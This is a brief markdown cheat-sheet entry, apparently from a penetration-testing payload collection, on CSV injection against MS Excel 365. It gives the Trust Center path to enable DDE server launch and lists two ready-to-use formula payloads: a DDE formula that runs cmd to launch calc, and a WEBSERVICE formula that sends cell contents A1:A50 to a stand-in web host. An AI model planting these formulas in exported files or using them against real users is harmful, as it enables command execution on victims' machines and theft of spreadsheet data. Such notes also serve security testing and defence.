# CSV Injection

## MS Excel 365

MS Excel 365 has to have enabled DDE launch (disabled by default).\
\
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch

### Payloads

```bash
=cmd|' /C calc'!A0
=WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))
```